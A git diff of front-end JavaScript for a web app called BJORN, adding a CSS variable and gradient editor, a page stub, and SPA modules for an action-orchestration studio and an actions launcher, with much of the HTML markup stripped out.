isRgbOrHslColor(v){ - return /\b(?:rgb|hsl)a?\s*\(/i.test(String(v||'')); -} -function isColorToken(v){ - return isHexColor(v) || isRgbOrHslColor(v); -} -function isGradient(v){ - return /^\s*(?:linear|radial|conic)-gradient\(/i.test(String(v||'')); -} - -// linear-gradient angle helpers -function parseLinearAngle(v){ - const m = String(v||'').match(/linear-gradient\(\s*([0-9.\-]+)deg/i); - return m ? parseFloat(m[1]) : 180; // default browser angle -} -function setLinearAngle(v, deg){ - const s = String(v||''); - if (/linear-gradient\(/i.test(s)){ - if (/linear-gradient\(\s*[0-9.\-]+deg/i.test(s)){ - return s.replace(/linear-gradient\(\s*[0-9.\-]+deg/i, `linear-gradient(${deg}deg`); - } else { - return s.replace(/linear-gradient\(/i, `linear-gradient(${deg}deg,`); - } - } - return s; -} - -// color tokens inside gradients -function extractGradientColors(v){ - // capture #hex / rgb[a] (...) / hsl[a] (...) - return String(v||'').match(/#([0-9a-f]{3}|[0-9a-f]{6})\b|(?:rgb|hsl)a?\([^)]*\)/ig) || []; -} -function replaceGradientColorAt(v, index, newColor){ - let i = -1; - return String(v||'').replace(/#([0-9a-f]{3}|[0-9a-f]{6})\b|(?:rgb|hsl)a?\([^)]*\)/ig, (m) => { - i++; return (i === index) ? newColor : m; - }); -} - -// var() helpers -function parseVarRef(v){ - // var(--name, fallback) - const m = String(v||'').match(/^\s*var\(\s*(--[a-z0-9\-_]+)\s*(?:,\s*([^)]+))?\)\s*$/i); - if(!m) return null; - return { ref: m[1], fallback: m[2]?.trim() ?? null }; -} -function resolveCssVar(varName){ - // reads effective value from :root (inherited + overrides) - return getComputedStyle(document.documentElement).getPropertyValue(varName).trim(); -} - - -// ===================================================================== -// Added: Gradient Editor (preview + angle for linear + stops editor) -// ===================================================================== -function createGradientEditor(name, value){ - const card = document.createElement('div'); - card.className = 'ui-var-card'; - card.dataset.name = name; - - const title = document.createElement('div'); - title.className = 'ui-var-name'; - title.textContent = name; - - const preview = document.createElement('div'); - preview.style.width = '140px'; - preview.style.height = '36px'; - preview.style.borderRadius = '8px'; - preview.style.border = '1px solid rgba(255,255,255,.15)'; - preview.style.flex = '0 0 auto'; - preview.style.background = value; - - const body = document.createElement('div'); - body.style.flex = '1'; - body.style.display = 'grid'; - body.style.gap = '8px'; - - let current = String(value||''); - - // angle editor for linear-gradient(...) - const angleWrap = document.createElement('div'); - if (/^linear-gradient/i.test(current)){ - const label = document.createElement('label'); - label.textContent = 'Angle'; - const range = document.createElement('input'); - range.type = 'range'; range.min = '0'; range.max = '360'; range.step = '1'; - range.value = String(parseLinearAngle(current)); - range.addEventListener('input', ()=>{ - current = setLinearAngle(current, parseInt(range.value,10)); - preview.style.background = current; - const cur = Bjorn.UIVars.loadLocal(); cur[name] = current; Bjorn.UIVars.saveLocal(cur); - document.documentElement.style.setProperty(name, current); - }); - angleWrap.append(label, range); - } - - // color stops - const colors = extractGradientColors(current); - const stopsWrap = document.createElement('div'); - stopsWrap.style.display = 'flex'; - stopsWrap.style.flexWrap = 'wrap'; - stopsWrap.style.gap = '8px'; - - colors.forEach((tok, idx)=>{ - let ctrl; - if (isHexColor(tok)){ - // normalize #abc → #aabbcc for - const norm = tok.length === 4 - ? ('#' + tok[1]+tok[1]+tok[2]+tok[2]+tok[3]+tok[3]).toLowerCase() - : tok.toLowerCase(); - ctrl = document.createElement('input'); - ctrl.type = 'color'; - ctrl.value = norm; - ctrl.title = `Stop ${idx+1}`; - ctrl.addEventListener('input', ()=>{ - current = replaceGradientColorAt(current, idx, ctrl.value); - preview.style.background = current; - const cur = Bjorn.UIVars.loadLocal(); cur[name] = current; Bjorn.UIVars.saveLocal(cur); - document.documentElement.style.setProperty(name, current); - }); - } else { - // rgb()/hsl() → free text input - ctrl = document.createElement('input'); - ctrl.type = 'text'; - ctrl.value = tok; - ctrl.style.minWidth = '160px'; - ctrl.addEventListener('change', ()=>{ - const v = ctrl.value.trim(); - if (!v) return; - current = replaceGradientColorAt(current, idx, v); - preview.style.background = current; - const cur = Bjorn.UIVars.loadLocal(); cur[name] = current; Bjorn.UIVars.saveLocal(cur); - document.documentElement.style.setProperty(name, current); - }); - } - - const group = document.createElement('div'); - group.style.display = 'flex'; - group.style.alignItems = 'center'; - group.style.gap = '6px'; - const lbl = document.createElement('span'); - lbl.textContent = `Stop ${idx+1}`; - lbl.style.fontSize = '11px'; - lbl.style.opacity = '.7'; - group.append(lbl, ctrl); - stopsWrap.appendChild(group); - }); - - // raw textarea - const raw = document.createElement('textarea'); - raw.value = current; - raw.rows = 2; - raw.style.width = '100%'; - raw.style.resize = 'vertical'; - raw.addEventListener('change', ()=>{ - const v = raw.value.trim(); - if (!v) return; - current = v; - preview.style.background = current; - const cur = Bjorn.UIVars.loadLocal(); cur[name] = current; Bjorn.UIVars.saveLocal(cur); - document.documentElement.style.setProperty(name, current); - }); - - // Reset - const btnReset = document.createElement('button'); - btnReset.className = 'btn'; - btnReset.textContent = 'Reset'; - btnReset.addEventListener('click', ()=>{ - const overrides = Bjorn.UIVars.loadLocal(); - delete overrides[name]; - Bjorn.UIVars.saveLocal(overrides); - document.documentElement.style.removeProperty(name); - const base = getComputedStyle(document.documentElement).getPropertyValue(name).trim() || value; - current = base; - preview.style.background = base; - raw.value = base; - }); - - body.append(angleWrap, stopsWrap, raw); - card.append(title, preview, body, btnReset); - return card; -} - - -// ===================================================================== -// Added: var(--xxx) Editor (follow + dereference + reset) -// ===================================================================== -function createVarEditor(name, value){ - const ref = parseVarRef(value); - if (!ref) return null; - - const resolved = resolveCssVar(ref.ref) || ref.fallback || ''; - const card = document.createElement('div'); - card.className = 'ui-var-card'; - card.dataset.name = name; - - const title = document.createElement('div'); - title.className = 'ui-var-name'; - title.textContent = name; - - const info = document.createElement('div'); - info.style.display = 'grid'; - info.style.gap = '8px'; - info.style.flex = '1'; - - // row1: reference + resolved value (+ color swatch if suitable) - const row1 = document.createElement('div'); - row1.style.display = 'flex'; - row1.style.alignItems = 'center'; - row1.style.gap = '8px'; - - const refBadge = document.createElement('span'); - refBadge.className = 'badge-modern'; - refBadge.textContent = `ref: ${ref.ref}`; - - const resolvedBox = document.createElement('div'); - resolvedBox.textContent = `resolved: ${resolved || '(empty)'}`; - resolvedBox.style.fontSize = '12px'; - resolvedBox.style.opacity = '.8'; - - if (isGradient(resolved) || isColorToken(resolved)){ - const sw = document.createElement('div'); - sw.style.width = '28px'; sw.style.height = '18px'; - sw.style.borderRadius = '6px'; - sw.style.border = '1px solid rgba(255,255,255,.15)'; - sw.style.background = isGradient(resolved) ? resolved : resolved; - row1.appendChild(sw); - } - - row1.append(refBadge, resolvedBox); - - // row2: actions - const row2 = document.createElement('div'); - row2.style.display = 'flex'; - row2.style.gap = '8px'; - - const btnFollow = document.createElement('button'); - btnFollow.className = 'btn'; - btnFollow.textContent = 'Follow →'; - btnFollow.addEventListener('click', ()=>{ - const target = document.querySelector(`.ui-var-card[data-name="${CSS.escape(ref.ref)}"]`); - if (target){ - target.scrollIntoView({behavior:'smooth', block:'center'}); - target.animate([{outline:'2px solid var(--acid)'},{outline:'none'}], {duration:900}); - } else { - window.toast?.(`Variable ${ref.ref} not found in the list`); - } - }); - - const btnDereference = document.createElement('button'); - btnDereference.className = 'btn'; - btnDereference.textContent = 'Dereference'; - btnDereference.title = 'Replace this var() with its resolved value'; - btnDereference.addEventListener('click', ()=>{ - const val = resolved || ref.fallback || ''; - if (!val) return; - document.documentElement.style.setProperty(name, val); - const cur = Bjorn.UIVars.loadLocal(); cur[name] = val; Bjorn.UIVars.saveLocal(cur); - window.toast?.(`\`${name}\` ← ${val}`); - }); - - const btnReset = document.createElement('button'); - btnReset.className = 'btn'; - btnReset.textContent = 'Reset'; - btnReset.addEventListener('click', ()=>{ - const overrides = Bjorn.UIVars.loadLocal(); - delete overrides[name]; - Bjorn.UIVars.saveLocal(overrides); - document.documentElement.style.removeProperty(name); - }); - - row2.append(btnFollow, btnDereference, btnReset); - info.append(row1, row2); - - card.append(title, info); - return card; -} - - -// ===================================================================== -// Override: renderUIVars() routing with var/gradient/color support -// ===================================================================== -function renderUIVars(){ - const host = document.getElementById('uiVarsHost'); - if(!host) return; - host.innerHTML = ''; - - // Merge current CSS + local overrides - const vars = Bjorn.UIVars.current(); // { --acid: '#00ff9a', ... } - - // Sort and iterate - const entries = Object.entries(vars) - .filter(([k]) => k.startsWith('--')) - .sort(([a],[b]) => a.localeCompare(b)); - - for (const [name, valRaw] of entries) { - const value = String(valRaw || '').trim(); - - // 1) var(--xxx) → dedicated card - const varRef = parseVarRef(value); - if (varRef){ - const c = createVarEditor(name, value); - if (c) { host.appendChild(c); continue; } - } - - // 2) gradients → specialized editor - if (typeof value === 'string' && isGradient(value)){ - host.appendChild(createGradientEditor(name, value)); - continue; - } - - // 3) direct colors (hex/rgb/hsl/color-mix if you had it) - if (typeof value === 'string' && - (isHexColor(value) || isRgbOrHslColor(value) || (typeof isColorMix === 'function' && isColorMix(value)))) { - if (typeof renderColorControl === 'function') { - host.appendChild(renderColorControl(name, value)); - } else { - // simple fallback: text box - host.appendChild(renderSimpleText(name, value)); - } - continue; - } - - // 4) lengths - if (typeof isLength === 'function' && isLength(value)) { - host.appendChild(renderLengthControl(name, value)); - continue; - } - - // 5) shadows - if (typeof isShadow === 'function' && isShadow(value)) { - host.appendChild(renderTextAreaPreview(name, value, 'shadow')); - continue; - } - - // 6) numbers → treat as px - if (typeof isNumberOnly === 'function' && isNumberOnly(value)) { - const unitized = `${value}px`; - host.appendChild(renderLengthControl(name, unitized)); - continue; - } - - // 7) fallback - if (typeof renderSimpleText === 'function') { - host.appendChild(renderSimpleText(name, value)); - } - } -} - - - - -/* ========================================================================== - UI Variables — Gradient & var() integrated editor - - Adds: color stop pickers for gradients, angle slider for linear-gradient - - Adds: var(--x) inspector with follow/dereference/reset - - Non-invasive: enhances existing .ui-var-card in the UI tab at runtime - - Persists via Bjorn.UIVars.saveLocal and applies on :root immediately - ========================================================================== */ -(function(){ - if (window.__BJORN_UI_GRAD_ADDON__) return; - window.__BJORN_UI_GRAD_ADDON__ = true; - - // -------------------- helpers: type detection & parsing -------------------- - function isHexColor(v){ return /^#([0-9a-f]{3}|[0-9a-f]{6})\b$/i.test(String(v||'')); } - function isRgbOrHslColor(v){ return /\b(?:rgb|hsl)a?\s*\(/i.test(String(v||'')); } - function isColorToken(v){ return isHexColor(v) || isRgbOrHslColor(v); } - function isGradient(v){ return /^\s*(?:linear|radial|conic)-gradient\(/i.test(String(v||'')); } - function parseLinearAngle(v){ - const m = String(v||'').match(/linear-gradient\(\s*([0-9.\-]+)deg/i); - return m ? parseFloat(m[1]) : 180; // browser default - } - function setLinearAngle(v, deg){ - v = String(v||''); - if (/linear-gradient\(/i.test(v)){ - if (/linear-gradient\(\s*[0-9.\-]+deg/i.test(v)){ - return v.replace(/linear-gradient\(\s*[0-9.\-]+deg/i, `linear-gradient(${deg}deg`); - } else { - return v.replace(/linear-gradient\(/i, `linear-gradient(${deg}deg,`); - } - } - return v; - } - function extractGradientColors(v){ - // capture #hex / rgb[a] (...) / hsl[a] (...) - return String(v||'').match(/#([0-9a-f]{3}|[0-9a-f]{6})\b|(?:rgb|hsl)a?\([^)]*\)/ig) || []; - } - function replaceGradientColorAt(v, index, newColor){ - let i = -1; - return String(v||'').replace(/#([0-9a-f]{3}|[0-9a-f]{6})\b|(?:rgb|hsl)a?\([^)]*\)/ig, (m) => { - i++; return (i === index) ? newColor : m; - }); - } - // --- var() --- - function parseVarRef(v){ - // var(--name, fallback) - const m = String(v||'').match(/^\s*var\(\s*(--[a-z0-9\-_]+)\s*(?:,\s*([^)]+))?\)\s*$/i); - if(!m) return null; - return { ref: m[1], fallback: m[2]?.trim() ?? null }; - } - function resolveCssVar(varName){ - // read effective value on :root - return getComputedStyle(document.documentElement).getPropertyValue(varName).trim(); - } - - // ------------------------------ UI builders -------------------------------- - function createGradientEditor(name, value){ - const card = document.createElement('div'); - card.className = 'ui-var-card'; - card.dataset.name = name; - - const title = document.createElement('div'); - title.className = 'ui-var-name'; - title.textContent = name; - - const preview = document.createElement('div'); - preview.style.width = '140px'; - preview.style.height = '36px'; - preview.style.borderRadius = '8px'; - preview.style.border = '1px solid rgba(255,255,255,.15)'; - preview.style.flex = '0 0 auto'; - preview.style.background = value; - - const body = document.createElement('div'); - body.style.flex = '1'; - body.style.display = 'grid'; - body.style.gap = '8px'; - - // angle if linear-gradient(...) - let current = value; - const angleWrap = document.createElement('div'); - if (/^linear-gradient/i.test(value)){ - const label = document.createElement('label'); - label.textContent = 'Angle'; - const range = document.createElement('input'); - range.type = 'range'; range.min = '0'; range.max = '360'; range.step = '1'; - range.value = String(parseLinearAngle(value)); - range.addEventListener('input', ()=>{ - current = setLinearAngle(current, parseInt(range.value,10)); - preview.style.background = current; - const cur = Bjorn.UIVars.loadLocal(); cur[name] = current; Bjorn.UIVars.saveLocal(cur); - document.documentElement.style.setProperty(name, current); - }); - angleWrap.append(label, range); - } - - // color stops - const colors = extractGradientColors(value); - const stopsWrap = document.createElement('div'); - stopsWrap.style.display = 'flex'; stopsWrap.style.flexWrap = 'wrap'; stopsWrap.style.gap = '8px'; - - colors.forEach((tok, idx)=>{ - let ctrl, init = tok; - - if (isHexColor(tok)){ - const norm = tok.length === 4 - ? ('#' + tok[1]+tok[1]+tok[2]+tok[2]+tok[3]+tok[3]).toLowerCase() - : tok.toLowerCase(); - - ctrl = document.createElement('input'); - ctrl.type = 'color'; - ctrl.value = norm; - ctrl.title = `Stop ${idx+1}`; - - ctrl.addEventListener('input', ()=>{ - current = replaceGradientColorAt(current, idx, ctrl.value); - preview.style.background = current; - const cur = Bjorn.UIVars.loadLocal(); cur[name] = current; Bjorn.UIVars.saveLocal(cur); - document.documentElement.style.setProperty(name, current); - }); - } else { - // rgb()/hsl() → text field (avoid fragile conversion) - ctrl = document.createElement('input'); - ctrl.type = 'text'; - ctrl.value = init; - ctrl.style.minWidth = '160px'; - ctrl.addEventListener('change', ()=>{ - const v = ctrl.value.trim(); - if (!v) return; - current = replaceGradientColorAt(current, idx, v); - preview.style.background = current; - const cur = Bjorn.UIVars.loadLocal(); cur[name] = current; Bjorn.UIVars.saveLocal(cur); - document.documentElement.style.setProperty(name, current); - }); - } - - const group = document.createElement('div'); - group.style.display = 'flex'; group.style.alignItems = 'center'; group.style.gap = '6px'; - const lbl = document.createElement('span'); lbl.textContent = `Stop ${idx+1}`; - lbl.style.fontSize = '11px'; lbl.style.opacity = '.7'; - group.append(lbl, ctrl); - stopsWrap.appendChild(group); - }); - - // raw textarea (edit full gradient) - const raw = document.createElement('textarea'); - raw.value = value; - raw.rows = 2; - raw.style.width = '100%'; - raw.style.resize = 'vertical'; - raw.addEventListener('change', ()=>{ - const v = raw.value.trim(); - if (!v) return; - current = v; - preview.style.background = current; - const cur = Bjorn.UIVars.loadLocal(); cur[name] = current; Bjorn.UIVars.saveLocal(cur); - document.documentElement.style.setProperty(name, current); - }); - - // Reset button (remove override → fallback to CSS initial) - const btnReset = document.createElement('button'); - btnReset.className = 'btn'; - btnReset.textContent = 'Reset'; - btnReset.addEventListener('click', ()=>{ - const overrides = Bjorn.UIVars.loadLocal(); - delete overrides[name]; - Bjorn.UIVars.saveLocal(overrides); - document.documentElement.style.removeProperty(name); - const base = getComputedStyle(document.documentElement).getPropertyValue(name).trim() || value; - raw.value = base; - preview.style.background = base; - }); - - body.append(angleWrap, stopsWrap, raw); - card.append(title, preview, body, btnReset); - return card; - } - - function createVarEditor(name, value){ - const ref = parseVarRef(value); - if (!ref) return null; - - const resolved = resolveCssVar(ref.ref) || ref.fallback || ''; - const card = document.createElement('div'); - card.className = 'ui-var-card'; - card.dataset.name = name; - - const title = document.createElement('div'); - title.className = 'ui-var-name'; - title.textContent = name; - - const info = document.createElement('div'); - info.style.display = 'grid'; - info.style.gap = '8px'; - info.style.flex = '1'; - - const row1 = document.createElement('div'); - row1.style.display = 'flex'; - row1.style.alignItems = 'center'; - row1.style.gap = '8px'; - - const refBadge = document.createElement('span'); - refBadge.className = 'badge-modern'; - refBadge.textContent = `ref: ${ref.ref}`; - - const resolvedBox = document.createElement('div'); - resolvedBox.textContent = `resolved: ${resolved || '(empty)'}`; - resolvedBox.style.fontSize = '12px'; - resolvedBox.style.opacity = '.8'; - - if (isGradient(resolved) || isColorToken(resolved)){ - const sw = document.createElement('div'); - sw.style.width = '28px'; sw.style.height = '18px'; - sw.style.borderRadius = '6px'; - sw.style.border = '1px solid rgba(255,255,255,.15)'; - sw.style.background = isGradient(resolved) ? resolved : resolved; - row1.appendChild(sw); - } - - row1.append(refBadge, resolvedBox); - - const row2 = document.createElement('div'); - row2.style.display = 'flex'; row2.style.gap = '8px'; - - const btnFollow = document.createElement('button'); - btnFollow.className = 'btn'; - btnFollow.textContent = 'Follow →'; - btnFollow.addEventListener('click', ()=>{ - const target = document.querySelector(`.ui-var-card[data-name="${CSS.escape(ref.ref)}"]`); - if (target){ - target.scrollIntoView({behavior:'smooth', block:'center'}); - target.animate([{outline:'2px solid var(--acid)'},{outline:'none'}], {duration:900}); - } else { - window.toast?.(`Variable ${ref.ref} not found in the list`); - } - }); - - const btnDereference = document.createElement('button'); - btnDereference.className = 'btn'; - btnDereference.textContent = 'Dereference'; - btnDereference.title = 'Replace this var() by its resolved value'; - btnDereference.addEventListener('click', ()=>{ - const val = resolved || ref.fallback || ''; - if (!val) return; - document.documentElement.style.setProperty(name, val); - const cur = Bjorn.UIVars.loadLocal(); cur[name] = val; Bjorn.UIVars.saveLocal(cur); - window.toast?.(`\`${name}\` ← ${val}`); - }); - - const btnReset = document.createElement('button'); - btnReset.className = 'btn'; - btnReset.textContent = 'Reset'; - btnReset.addEventListener('click', ()=>{ - const overrides = Bjorn.UIVars.loadLocal(); - delete overrides[name]; - Bjorn.UIVars.saveLocal(overrides); - document.documentElement.style.removeProperty(name); - }); - - row2.append(btnFollow, btnDereference, btnReset); - info.append(row1, row2); - - card.append(title, info); - return card; - } - - // ------------------------------ enhancement -------------------------------- - function getVarNameFromCard(card){ - // try dataset first - const name = card.dataset.name; - if (name) return name; - // else read from title label - const t = card.querySelector('.ui-var-name'); - if (t) return t.textContent.trim(); - // else try first label - const lab = card.querySelector('label'); - return lab ? lab.textContent.trim() : null; - } - - function readValueForVar(name){ - const overrides = (window.Bjorn?.UIVars?.loadLocal?.() || {}); - if (Object.prototype.hasOwnProperty.call(overrides, name)) return overrides[name]; - const css = getComputedStyle(document.documentElement).getPropertyValue(name).trim(); - return css || ''; - } - - function enhanceCard(card){ - if (!card || card.dataset.enhanced === '1') return; - const name = getVarNameFromCard(card); - if (!name || !name.startsWith('--')) return; - - const value = readValueForVar(name); - let special = null; - - // var() wrapper takes priority - const varRef = parseVarRef(value); - if (varRef){ - special = createVarEditor(name, value); - } else if (isGradient(value)){ - special = createGradientEditor(name, value); - } else if (isColorToken(value)){ - // simple color -> ensure a color input exists next to the text field - const inputRow = card.querySelector('.ui-var-input') || card; - const swatch = document.createElement('input'); - // normalize #abc -> #aabbcc - let hex = value; - if (isHexColor(value) && value.length === 4){ - hex = '#' + value[1]+value[1]+value[2]+value[2]+value[3]+value[3]; - } - swatch.type = 'color'; - swatch.value = isHexColor(hex) ? hex.toLowerCase() : '#000000'; - swatch.style.width='42px'; swatch.style.height='28px'; - swatch.addEventListener('input', ()=>{ - const val = swatch.value; - const cur = Bjorn.UIVars.loadLocal(); cur[name] = val; Bjorn.UIVars.saveLocal(cur); - document.documentElement.style.setProperty(name, val); - }); - inputRow.prepend(swatch); - } - - if (special){ - // Replace original card UI by our editor - card.innerHTML = ''; - card.appendChild(special); - card.dataset.enhanced = '1'; - }else{ - card.dataset.enhanced = '1'; - } - } - - function enhanceAll(root){ - root = root || document; - const cards = root.querySelectorAll('#uiVarsHost .ui-var-card'); - cards.forEach(enhanceCard); - } - - // Observe UI tab for re-render - const host = document.getElementById('uiVarsHost'); - if (host){ - enhanceAll(host); - const mo = new MutationObserver((muts)=>{ - let need=false; - for (const m of muts){ - if (m.type === 'childList' || m.type === 'subtree') { need=true; break; } - } - if (need) enhanceAll(host); - }); - mo.observe(host, { childList:true, subtree:true }); - } else { - // Fallback: try later when settings opens - document.addEventListener('click', (e)=>{ - const btn = e.target.closest('#openSettings'); - if (btn){ - setTimeout(()=>{ - const h = document.getElementById('uiVarsHost'); - if (h) enhanceAll(h); - }, 400); - } - }); - } - - // Public API - window.Bjorn = window.Bjorn || {}; - window.Bjorn.UIGradAddon = { refresh: ()=>enhanceAll(document) }; -})(); diff --git a/web/js/pages/_stub.js b/web/js/pages/_stub.js new file mode 100644 index 0000000..42ddee1 --- /dev/null +++ b/web/js/pages/_stub.js @@ -0,0 +1,41 @@ +/** + * Page module stub template. + * Copy this file and rename for each new page. + * Replace PAGE_NAME, endpoint, and build logic. + */ + +import { ResourceTracker } from '../core/resource-tracker.js'; +import { api, Poller } from '../core/api.js'; +import { el, $, setText, escapeHtml } from '../core/dom.js'; +import { t } from '../core/i18n.js'; + +const PAGE_NAME = 'stub'; +let tracker = null; +let poller = null; + +export async function mount(container) { + tracker = new ResourceTracker(PAGE_NAME); + container.appendChild(el('div', { class: `${PAGE_NAME}-container` }, [ + el('h2', { 'data-i18n': `nav.${PAGE_NAME}` }, [t(`nav.${PAGE_NAME}`)]), + el('div', { id: `${PAGE_NAME}-content` }, [t('common.loading')]), + ])); + + // Initial fetch + await refresh(); + + // Optional poller (visibility-aware) + // poller = new Poller(refresh, 10000); + // poller.start(); +} + +export function unmount() { + if (poller) { poller.stop(); poller = null; } + if (tracker) { tracker.cleanupAll(); tracker = null; } +} + +async function refresh() { + // try { + // const data = await api.get('/endpoint', { timeout: 8000 }); + // paint(data); + // } catch (err) { console.warn(`[${PAGE_NAME}]`, err.message); } +} diff --git a/web/actions_studio.html b/web/js/pages/actions-studio-runtime.js similarity index 67% rename from web/actions_studio.html rename to web/js/pages/actions-studio-runtime.js index 6a7b1c2..3cd0a2d 100644 --- a/web/actions_studio.html +++ b/web/js/pages/actions-studio-runtime.js @@ -1,400 +1,16 @@ - - - - - -BJORN Action Studio — Orchestrateur visuel (v2.1 auto-link) - - - - - - - - - - -
                -
                -
                -

                BJORN Studio

                -
                - - - - - - - -
                - -
                -
                ➕ Add Host
                -
                💾 Save to DB
                -
                ⬇ Import Actions DB
                -
                ⬆ Import Studio DB
                -
                -
                -
                - -
                - -
                -
                -
                Actions
                -
                Hosts
                -
                - -
                - -

                Available Actions

                -
                -
                - -
                - - -

                Real Hosts

                -
                -

                Test Hosts

                -
                -
                -
                - - -
                -
                -
                - -
                -
                - - -
                - - - -
                -
                - - -
                -
                -

                Action sélectionnée

                -
                Sélectionne un nœud pour éditer
                -
                - -
                - - -
                -
                - - -
                -
                - - -
                -
                - - -
                -
                - - -
                - - -
                -

                Trigger

                -
                - - -
                -
                -

                Requirements

                -
                - - -
                -
                -
                - - -
                -
                -
                - -
                -

                Host sélectionné

                -
                - - -
                -
                - - -
                -
                - - -
                - - - -
                - - -
                -
                -
                -
                - -
                -
                success
                -
                failure
                -
                requires
                -
                Pinch/scroll = zoom · Drag = pan · Relie ports à ports pour créer des liens
                -
                0 nodes · 0 links
                -
                -
                - - -
                -
                ✏️ Éditer…
                -
                ✅ Success
                -
                ❌ Failure
                -
                🔗 Requires
                -
                🗑 Supprimer
                -
                - - -
                -
                -
                -

                Lien

                - -
                -
                -
                -
                From: —
                -
                To: —
                -
                -

                Choisis le comportement (trigger ou requirement). Les options s’adaptent.

                -
                -
                - - -
                -
                - - -
                -
                -
                Preview:
                —
                -
                -
                - - -
                -
                -
                -
                - - -
                -
                -
                -

                Add Test Host

                - -
                -
                - - - - - - - - -
                - - -
                -
                -
                -
                - - - - + } finally { + EventTarget.prototype.addEventListener = nativeAdd; + } + return function unmountStudioRuntime() { + if (prefsSaveTimer) { + clearTimeout(prefsSaveTimer); + prefsSaveTimer = null; + } + for (const [target, type, listener, options] of tracked) { + try { nativeRemove.call(target, type, listener, options); } catch {} + } + try { + if (__root) { + __root.innerHTML = ''; + } + } catch {} + try { delete window.addHostToCanvas; } catch {} + try { delete window.deleteTestHost; } catch {} + try { delete window.openHostModal; } catch {} + try { delete window.closeHostModal; } catch {} + try { delete window.createTestHost; } catch {} + }; +} diff --git a/web/js/pages/actions-studio.js b/web/js/pages/actions-studio.js new file mode 100644 index 0000000..0bb6516 --- /dev/null +++ b/web/js/pages/actions-studio.js @@ -0,0 +1,342 @@ +import { ResourceTracker } from '../core/resource-tracker.js'; +import { el } from '../core/dom.js'; +import { t } from '../core/i18n.js'; +import { mountStudioRuntime } from './actions-studio-runtime.js'; + +const PAGE = 'actions-studio'; + +let tracker = null; +let runtimeCleanup = null; + +function studioTemplate() { + return ` +
                +
                +
                +

                BJORN Studio

                +
                + + + + + + + + +
                + +
                +
                Add host
                +
                Auto layout
                +
                Repel overlap
                +
                Fit graph
                +
                Help
                +
                Save to DB
                +
                Import actions DB
                +
                Import studio DB
                +
                +
                +
                + +
                +
                +
                +
                Palette
                + +
                +
                +
                Actions
                +
                Hosts
                +
                + +
                +
                + + +
                +
                + 0 total + 0 placed +
                +

                Available actions

                +
                +
                + +
                +
                + + +
                +
                + 0 total + 0 alive + 0 placed +
                + +

                Real hosts

                +
                +

                Test hosts

                +
                +
                +
                + +
                +
                +
                + +
                +
                + +
                + + + +
                + +
                + Tips + Drag background to pan, mouse wheel/pinch to zoom, connect ports to link nodes. + +
                +
                + +
                +
                +
                Inspector
                + +
                +
                +

                Selected action

                +
                Select a node to edit it
                +
                + +
                + + +
                +
                + + +
                +
                + + +
                +
                + + +
                +
                + + +
                + + +
                +

                Trigger

                +
                + + +
                +
                +

                Requirements

                +
                + + +
                +
                +
                + + +
                +
                +
                + +
                +

                Selected host

                +
                + + +
                +
                + + +
                +
                + + +
                + + + +
                + + +
                +
                +
                + + + +
                + + +
                0N | 0L
                + + +
                +
                + +
                +
                success
                +
                failure
                +
                requires
                +
                Pinch/scroll = zoom, drag = pan, connect ports to create links
                +
                0 nodes, 0 links
                +
                +
                + +
                +
                Edit...
                +
                Success
                +
                Failure
                +
                Requires
                +
                Delete
                +
                + +
                +
                +
                +

                Link

                + +
                +
                +
                +
                From: -
                +
                To: -
                +
                +

                Choose behavior (trigger or requirement). Presets adapt to node types.

                +
                +
                + + +
                +
                + + +
                +
                +
                Preview:
                -
                +
                +
                + + +
                +
                +
                +
                + +
                +
                +
                +

                Add test host

                + +
                +
                + + + + + + + + +
                + + +
                +
                +
                +
                + +
                +
                +
                +

                Studio shortcuts

                + +
                +
                +
                +

                Navigation

                +
                Mouse wheel / pinch: zoom
                +
                Drag canvas background: pan
                +
                Drag node: move node
                +
                +
                +

                Keyboard

                +
                F: fit graph to viewport
                +
                Ctrl/Cmd + S: save to DB
                +
                Esc: close menus / sidebars / modals
                +
                Delete: delete selected node
                +
                +
                +
                +
                +`; +} + +export function mount(container) { + tracker = new ResourceTracker(PAGE); + + const root = el('div', { class: 'studio-container studio-runtime-host' }, [ + el('div', { class: 'studio-loading' }, [t('common.loading')]), + ]); + container.appendChild(root); + + try { + root.innerHTML = studioTemplate(); + runtimeCleanup = mountStudioRuntime(root); + } catch (err) { + root.innerHTML = ''; + root.appendChild(el('div', { class: 'card', style: 'margin:12px;padding:12px' }, [ + el('h3', {}, [t('nav.actionsStudio')]), + el('p', {}, [`Failed to initialize studio: ${err.message}`]), + ])); + } +} + +export function unmount() { + if (typeof runtimeCleanup === 'function') { + try { runtimeCleanup(); } catch { /* noop */ } + } + runtimeCleanup = null; + + if (tracker) { + tracker.cleanupAll(); + tracker = null; + } +} diff --git a/web/js/pages/actions.js b/web/js/pages/actions.js new file mode 100644 index 0000000..5f27491 --- /dev/null +++ b/web/js/pages/actions.js @@ -0,0 +1,817 @@ +/** + * Actions page (SPA) — old actions_launcher parity. + * Sidebar (actions/arguments) + multi-console panes. + */ +import { ResourceTracker } from '../core/resource-tracker.js'; +import { api } from '../core/api.js'; +import { el, $, $$, empty, toast } from '../core/dom.js'; +import { t } from '../core/i18n.js'; +import { initSharedSidebarLayout } from '../core/sidebar-layout.js'; + +const PAGE = 'actions'; + +let tracker = null; +let root = null; +let sidebarLayoutCleanup = null; + +let actions = []; +let activeActionId = null; +let panes = [null, null, null, null]; +let split = 1; +let assignTargetPaneIndex = null; +let searchQuery = ''; +let currentTab = 'actions'; + +const logsByAction = new Map(); // actionId -> string[] +const pollingTimers = new Map(); // actionId -> timeoutId +const autoClearPane = [false, false, false, false]; + +function tx(key, fallback) { + const v = t(key); + return v === key ? fallback : v; +} + +function isMobile() { + return window.matchMedia('(max-width: 860px)').matches; +} + +function q(sel, base = root) { return base?.querySelector(sel) || null; } + +export async function mount(container) { + tracker = new ResourceTracker(PAGE); + root = buildShell(); + container.appendChild(root); + sidebarLayoutCleanup = initSharedSidebarLayout(root, { + sidebarSelector: '.al-sidebar', + mainSelector: '#actionsLauncher', + storageKey: 'sidebar:actions', + toggleLabel: tx('common.menu', 'Menu'), + }); + + bindStaticEvents(); + enforceMobileOnePane(); + + await loadActions(); + renderActionsList(); + renderConsoles(); +} + +export function unmount() { + if (typeof sidebarLayoutCleanup === 'function') { + sidebarLayoutCleanup(); + sidebarLayoutCleanup = null; + } + + for (const tmr of pollingTimers.values()) clearTimeout(tmr); + pollingTimers.clear(); + + if (tracker) { + tracker.cleanupAll(); + tracker = null; + } + + root = null; + actions = []; + activeActionId = null; + panes = [null, null, null, null]; + split = 1; + assignTargetPaneIndex = null; + searchQuery = ''; + currentTab = 'actions'; + logsByAction.clear(); +} + +function buildShell() { + const sideTabs = el('div', { class: 'tabs-container' }, [ + el('button', { class: 'tab-btn active', id: 